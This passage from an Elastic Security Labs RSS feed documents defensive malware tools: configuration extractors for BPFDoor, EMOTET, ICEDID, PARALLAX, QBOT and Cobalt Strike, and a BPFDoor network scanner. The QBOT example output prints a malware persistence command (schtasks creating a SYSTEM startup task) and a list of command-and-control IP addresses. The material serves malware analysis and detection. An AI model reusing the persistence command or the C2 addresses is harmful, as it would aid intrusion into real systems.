</ul>
</blockquote>
<h2>Getting Started</h2>
<h3>Docker</h3>
<p>We can easily run the extractor with Docker, first we need to build the image.</p>
<pre><code>Building the BPFDoor Docker image

docker build . -t bpfdoor-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the Docker container directory that contains the BPFDoor samples.</p>
<pre><code>Running the BPFDoor Docker container

docker run -ti --rm -v $(pwd)/binaries:/binaries \
  bpfdoor-extractor:latest -d /binaries/
</code></pre>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong></p>
<pre><code>BPFDoor Configuration Extractor help output

docker run -ti --rm bpfdoor-extractor:latest -h

Author: Elastic Security (MARE)

______ ______ ______ ______
| ___ \| ___ \|  ___||  _  \
| |_/ /| |_/ /| |_   | | | | ___    ___   _ __
| ___ \|  __/ |  _|  | | | |/ _ \  / _ \ | '__|
| |_/ /| |    | |    | |/ /| (_) || (_) || |
\____/ \_|    \_|    |___/  \___/  \___/ |_|
 _____                 __  _          _____       _                      _
/  __ \               / _|(_)        |  ___|     | |                    | |
| /  \/  ___   _ __  | |_  _   __ _  | |__ __  __| |_  _ __  __ _   ___ | |_  ___   _ __
| |     / _ \ | '_ \ |  _|| | / _` | |  __|\ \/ /| __|| '__|/ _` | / __|| __|/ _ \ | '__|
| \__/\| (_) || | | || |  | || (_| | | |___ &gt;  &lt; | |_ | |  | (_| || (__ | |_| (_) || |
 \____/ \___/ |_| |_||_|  |_| \__, | \____//_/\_\ \__||_|   \__,_| \___| \__|\___/ |_|
                               __/ |
                              |___/


usage: bpfdoor-extractor [-h] (-f FILENAME | -d DIRNAME)

options:
  -h, --help            show this help message and exit
  -f FILENAME, --file FILENAME
                        File
  -d DIRNAME, --dir DIRNAME
                        Directory

</code></pre>
<h3>Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
bpfdoor-extractor --help
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/bpfdoor-configuration-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[BPFDoor Scanner]]></title>
            <link>https://www.elastic.co/es/security-labs/bpfdoor-scanner</link>
            <guid>bpfdoor-scanner</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script to identify hosts infected with the BPFDoor malware.]]></description>
            <content:encoded><![CDATA[<p>Python script to identify hosts infected with the BPFDoor malware.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltae9bafece9048014/62882b50dcc93261eccb04e2/bpfdoor-scanner.tar.gz">Download bpfdoor-scanner.tar.gz</a></p>
<h2>Getting Started</h2>
<p>This tool provides a Python script to identify hosts that are infected with the BPFDoor malware.</p>
<blockquote>
<p>The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will extract configurations from BPFDoor malware samples.</p>
<ul>
<li><a href="https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/">BPFDoor analysis</a></li>
<li><a href="https://www.elastic.co/es/security-labs/bpfdoor-configuration-extractor">BPFDoor configuration extractor</a></li>
</ul>
</blockquote>
<h3>Permissions</h3>
<p>On Linux (and thus in a container), the tool requires the following permissions:</p>
<ul>
<li>CAP_NET_BIND_SERVICE</li>
<li>CAP_NET_RAW</li>
</ul>
<p>On any *NIX host, running the script with sudo will get you what you need. As long as you don’t strip the privileges listed for your container and you publish the UDP port you intend to receive on, you should be set.</p>
<h3>Docker</h3>
<p>We can easily run the scanner with Docker, first we need to build the image:</p>
<pre><code>Building the BPFDoor scanner Docker image

docker build . -t bpfdoor-scanner
</code></pre>
<h2>Usage</h2>
<p>Once you’be built the Docker iamge, we can run the container to get a list of the options.</p>
<pre><code>Runing the BPFDoor container

docker run -ti --rm bpfdoor-scanner:latest --help

Usage: bpfdoor-scanner [OPTIONS]

  Sends a discovery packet to suspected BPFDoor endpoints.

  Example usage:

      sudo ./bpfdoor-scanner --target-ip 1.2.3.4

  Sends a packet to IP 1.2.3.4 using the default target port 68/UDP (tool
  listens on all ports) using the default interface on this host and listens
  on port 53/UDP to masquerade as traffic.

  NOTE: Elevated privileges are required for source ports &lt; 1024.

Options:
  --target-ip TEXT       [required]
  --target-port INTEGER  [default: 68]
  --source-ip TEXT       IP for target to respond to and attempt to bind
                         locally  [default: 172.17.0.3]
  --source-port INTEGER  Local port to listen on for response  [default: 53]
  --timeout INTEGER      Number of seconds to wait for response  [default: 5]
  -v, --verbose          Show verbose output
  -d, --debug            Show debug output
  --version
  --help                 Show this message and exit.
</code></pre>
<p>The minimum required option is just --target-ip. The rest have defaults. For running in a container, you’ll want to publish the return port (defaults to 53) and specify --source-ip of the host interface you wish to use. In the following example, the IP 192.168.100.10 is the interface on my host that will receive the packet.</p>
<pre><code>Example running the BPFDoor scanner

docker run -ti --publish 53:53/udp --rm bpfdoor-scanner:latest \
  --target-ip 192.168.32.18 --source-ip 192.168.100.10
</code></pre>
<h2>Running Locally</h2>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>Running BPFDoor scanner locally

poetry lock
poetry install
poetry shell
sudo bpfdoor-scanner --help
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/bpfdoor-scanner/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Cobalt Strike Beacon Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/cobalt-strike-beacon-extractor</link>
            <guid>cobalt-strike-beacon-extractor</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.]]></description>
            <content:encoded><![CDATA[<p>Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdbc4f9f2366d2f06/628829603b9b8554904a4ba2/cobalt-strike-extractor.tar.gz">Download cobalt-strike-extractor.tar.gz</a></p>
<h2>Overview</h2>
<p>This tool provides a Python module and command line tool that will search Elastic Endpoint alert data for detections of Cobalt Strike and the extracted memory data. When present, this tool will extract the implant configuration using the <a href="https://github.com/strozfriedberg/cobaltstrike-config-extractor">cobaltstrike-config-extractor</a>. The information is then normalized into an ECS-formatted JSON document and indexed into an Elasticsearch cluster or output to the terminal as JSON.</p>
<blockquote>
<p>For help on creating Fleet policies to collect and analyze Cobalt Strike beacons in the Elastic Stack, check out our blog posts detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Collecting Colbalt Strike beacons</a></li>
<li><a href="https://www.elastic.co/es/security-labs/extracting-cobalt-strike-beacon-configurations">Extracting Cobalt Strike beacon configurations</a></li>
</ul>
</blockquote>
<h2>Getting Started</h2>
<h3>Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t cobalt-strike-extractor
</code></pre>
<p>Next, make a copy of config.reference.yml and name it config.local.yml and edit for your environment. A minimal config looks like the example below. The input and output could use the same values, but you can optionally push it to a different cluster for analysis.</p>
<pre><code>## Using an Elastic Cloud instance (this is a randomly generated example)
input.elasticsearch:
  enabled: True
  cloud.id: security-cluster:dXMtd2VzdDEuZ2NwLmNsb3VkLmVzLmlvJGU0MWU1YTc3YmRjNzY2OTY0MDg2NjIzNDA5NzFjNjFkJDdlYjRlYTJkMzJkMTgzYTRiMmJkMjlkNTNjODhjMjQ4
  cloud.auth: elastic:&lt;PASSWORD&gt;

## Default output will use localhost:9092, see reference config
output.elasticsearch:
  enabled: True
  username: elastic
  password: &lt;PASSWORD&gt;

</code></pre>
<p>Now, run the container, passing in our local configuration. The -v flag here will add informational messages to the log output. Here, it tells us how many documents were successfully parsed and written.</p>
<pre><code>docker run -ti --rm -v &quot;$(pwd)/config.local.yml:/config.yml&quot; \
    cobalt-strike-extractor:latest -c /config.yml -v

</code></pre>
<p><em>Output</em>:</p>
<pre><code>[2022-01-10T21:33:31.493][INFO] Setting up input/output
[2022-01-10T21:33:31.493][INFO] Connecting to Elasticsearch for input
[2022-01-10T21:33:31.493][INFO] Successfully connected to Elasticsearch for input
[2022-01-10T21:33:31.834][INFO] Connecting to Elasticsearch for output
[2022-01-10T21:33:31.835][INFO] Successfully connected to Elasticsearch for output
[2022-01-10T21:33:33.030][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.078][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.093][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.096][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.097][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.098][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.186][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.191][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.461][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.516][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.927][INFO] Wrote 2 docs to Elasticsearch

</code></pre>
<p>The [WARNING] messages here are to be expected. These are simply source documents that didn’t contain the configuration information.</p>
<h4>Filter by time</h4>
<p>To limit the search by time frame, you can add the --since argument, which takes either an ISO-formatted date time string or you can use <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/query-dsl-range-query.html#ranges-on-dates">Elastic date math</a>. For example, to limit search to the last 30 days, you can do the following.</p>
<pre><code>docker run -ti --rm -v &quot;$(pwd)/config.local.yml:/config.yml&quot; \
    cobalt-strike-extractor:latest --since &quot;now-30d/d&quot; -c config.local.yml

</code></pre>
<h4>Pipe output to other tools</h4>
<p>Lastly, you can pipe the output to other commands, such as jq to do local analysis. You can also override the configuration file values using environment variables.</p>
<pre><code>docker run -i --rm -a stdin -a stdout -a stderr \
    -v &quot;$(pwd)/config.local.yml:/config.yml&quot; \
    -e &quot;OUTPUT_ELASTICSEARCH_ENABLED=False&quot; \
    -e &quot;OUTPUT_CONSOLE_ENABLED=True&quot; cobalt-strike-extractor:latest -c /config.yml -q | jq  '.cobaltstrike.server.hostname'

</code></pre>
<p>In the example above, we disabled the Elasticsearch output and enabled the Console output using environment variables. We made the output more quiet using the -q flag (hiding the warnings). Then, we used jq to just pull out the “hostname” value of the configuration.</p>
<h3>Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
cobalt-strike-extractor --help

</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/cobalt-strike-beacon-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[EMOTET Configuration Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/emotet-configuration-extractor</link>
            <guid>emotet-configuration-extractor</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script to extract the configuration from EMOTET samples.]]></description>
            <content:encoded><![CDATA[<p>Python script to extract the payload from EMOTET samples.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte2addf7080c31792/635ad4a5a739cc5f6cbd595e/emotet-configuration-extractor.tar.gz">Download emotet-configuration-extractor.tar.gz</a></p>
<blockquote>
<p>For information on the EMOTET malware check out the following resources:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/emotet-dynamic-configuration-extraction">EMOTET Dynamic Configuration Extraction</a></li>
</ul>
</blockquote>
<h2>Getting started</h2>
<h3>Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t emotet-config-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest --help
</code></pre>
<h3>Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
emotet-config-extractor --help
</code></pre>
<h2>Usage</h2>
<p>All samples need to be unpacked prior to execution extraction attempts.</p>
<p>Our extractor takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample and then can output parts of the configuration of note, specifically:</p>
<ul>
<li><strong>-k</strong> : extract the encryption keys</li>
<li><strong>-c</strong> : extract the C2 information</li>
<li><strong>-s</strong> : extract the wide-character strings</li>
<li><strong>-a</strong> : extract the ASCII character strings</li>
</ul>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest -d &quot;C:\tmp\samples&quot;
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/emotet-configuration-extractor/image.jpg" alt="EMOTET configuration extractor" /></p>
<p>You can collect the extracted configurations from the directory you set when running the extractor.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/emotet-configuration-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[ICEDID Configuration Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/icedid-configuration-extractor</link>
            <guid>icedid-configuration-extractor</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script to extract the configuration from ICEDID samples.]]></description>
            <content:encoded><![CDATA[<p>Python script to extract the payload from ICEDID samples.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt95ce19ae8cffda29/6351abcf20f42038fb989fae/icedid-config-extractor.tar.gz">Download icedid-configuration-extractor.tar.gz</a></p>
<blockquote>
<p>For information on the ICEDID malware and network infrastructure, check out the following resources:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/icedids-network-infrastructure-is-alive-and-well">ICEDIDs network infrastructure is alive and well</a></li>
<li><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltb86bffd1aef20c5b/6351aba34e565f1cdce29da5/icedid-checker.tar.gz">ICEDID network infrastructure checking utility</a></li>
</ul>
</blockquote>
<h2>Getting started</h2>
<h3>Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t icedid_loader_config_extractor
</code></pre>
<p>Then we run the container with the -v flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data icedid_loader_config_extractor:latest --help
</code></pre>
<h3>Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
poetry lock
poetry install
poetry shell
icedid_loader_config_extractor --help
</code></pre>
<h2>Usage</h2>
<p>All samples need to be unpacked prior to execution extraction attempts.</p>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data icedid_loader_config_extractor:latest -d &quot;C:\tmp\samples&quot;
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/icedid-configuration-extractor/196841115-5a3a0d95-8df4-45c2-9baa-264cfa9530e9.jpg" alt="ICEDID configuration extractor" /></p>
<p>You can collect the extracted configurations from the directory you set when running the extractor.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/icedid-configuration-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[PARALLAX Payload Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/parallax-payload-extractor</link>
            <guid>parallax-payload-extractor</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script to extract the payload from PARALLAX samples.]]></description>
            <content:encoded><![CDATA[<p>Python script to extract the payload from PARALLAX samples.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltdcec03c5c91923f5/633613d524bebb2394c2773d/parallax-payload-extractor.tar.gz">Download parallax-payload-extractor.tar.gz</a></p>
<blockquote>
<p>For information on the PARALLAX malware loader and campaign observations, check out our <a href="https://elastic.co/security-labs/exploring-the-ref2731-intrusion-set">blog posts</a> detailing this intrusion set.</p>
</blockquote>
<h2>Getting started</h2>
<h3>Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t parallax_loader_payload_extractor
</code></pre>
<p>Then we run the container with the -v flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data parallax_loader_payload_extractor:latest --help
</code></pre>
<h3>Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
parallax_loader_payload_extractor --help
</code></pre>
<h2>Usage</h2>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>. You can use the -o switch to set the output directory of the payloads.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data parallax_loader_payload_extractor:latest -d /data -o /data
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/parallax-payload-extractor/image41.jpg" alt="PARALLAX payload extractor" /></p>
<p>You can collect the extracted payloads from the directory you set when running the extractor, the data directory in the root of the extractor in the above example.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/parallax-payload-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[QBOT Configuration Extractor]]></title>
            <link>https://www.elastic.co/es/security-labs/qbot-configuration-extractor</link>
            <guid>qbot-configuration-extractor</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Python script to extract the configuration from QBOT samples.]]></description>
            <content:encoded><![CDATA[<p>Python script to extract the configuration from QBOT samples.</p>
<p><a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blta4523f3b586ba6ac/62e16e26d2f5267009ac073a/qbot-config-extractor.tar.gz">Download qbot-config-extractor.tar.gz</a></p>
<h2>Getting Started</h2>
<p>This tool provides a Python module and command line tool that will extract configurations from the QBOT malware samples and dump the results to screen.</p>
<blockquote>
<p>For information on the QBOT attack pattern and malware analysis, check out our blog posts detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/es/security-labs/exploring-the-qbot-attack-pattern">Exploring the QBOT Attack Pattern</a></li>
<li><a href="https://www.elastic.co/es/security-labs/qbot-malware-analysis">QBOT Malware Analysis</a></li>
</ul>
</blockquote>
<h3>Docker</h3>
<p>We can easily run the extractor with Docker, first we need to build the image:</p>
<pre><code>docker build . -t qbot-config-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory:</p>
<pre><code>docker run -ti --rm -v \
&quot;$(pwd)/data&quot;:/data qbot-config-extractor:latest -d /data/
</code></pre>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>.</p>
<pre><code>$ docker run -ti --rm -v $(pwd)/data:/data qbot-config-extractor:latest -f data/c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a

=== Strings ===
# Blob address: 0x100840a0
# Key address: 0x10084040
[0x0]: ProgramData
[0xc]: /t4
[0x10]: EBBA
[0x15]: netstat -nao
[0x22]: jHxastDcds)oMc=jvh7wdUhxcsdt2
[0x40]: schtasks.exe /Create /RU &quot;NT AUTHORITY\SYSTEM&quot; /SC ONSTART /TN %u /TR &quot;%s&quot; /NP /F

...truncated...

=== RESOURCE 1 ===
Key: b'\\System32\\WindowsPowerShel1\\v1.0\\powershel1.exe'
Type: DataType.DOMAINS
41.228.22.180:443
47.23.89.62:995
176.67.56.94:443
103.107.113.120:443
148.64.96.100:443
47.180.172.159:443
181.118.183.98:443

...truncated...
</code></pre>
<h3>Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
qbot-config-extractor -h
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/qbot-configuration-extractor/tools-image.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Sneak Peek: Elastic’s 2022 Global Threat Report]]></title>
            <link>https://www.elastic.co/es/security-labs/sneak-peek-elastic-2022-global-threat-report</link>
            <guid>sneak-peek-elastic-2022-global-threat-report</guid>
            <pubDate>Wed, 30 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has compiled the 2022 Global Threat Report to share trends and tactics adversaries and attack groups use, as observed by our threat research team and broader user community over the past year.]]></description>
            <content:encoded><![CDATA[<p>The <a href="http://www.elastic.co/es/security-labs">Elastic Security Labs</a> team is passionate about securing the world’s data from attack, and strives to raise the bar within the security industry. To this end, Elastic Security Labs has compiled the <a href="https://www.elastic.co/es/explore/security-without-limits/global-threat-report">2022 Global Threat Report</a> to share trends and tactics adversaries and attack groups use, as observed by our threat research team and broader user community over the past year.</p>
<p>Let’s dig into a few of the endpoint related findings:</p>
<ol>
<li>
<p>72% of all defense evasion techniques consisted of masquerading and system binary proxy execution</p>
</li>
<li>
<p>~77% of all credential access techniques are attributed to OS credential dumping with commonly known utilities</p>
</li>
</ol>
<p>Here’s a chart on how the endpoint techniques breakdown across our data set.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/sneak-peek-elastic-2022-global-threat-report/image1.png" alt="" /></p>
<p>This was just a preview of the research coming your way. We have lots of findings and recommendations coming your way soon. Stay tuned to <a href="http://www.elastic.co/es/security-labs">Elastic Security Labs</a> for the <a href="https://www.elastic.co/es/explore/security-without-limits/global-threat-report">2022 Elastic Global Threat Report</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/sneak-peek-elastic-2022-global-threat-report/blog-open-security-720x420-B.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>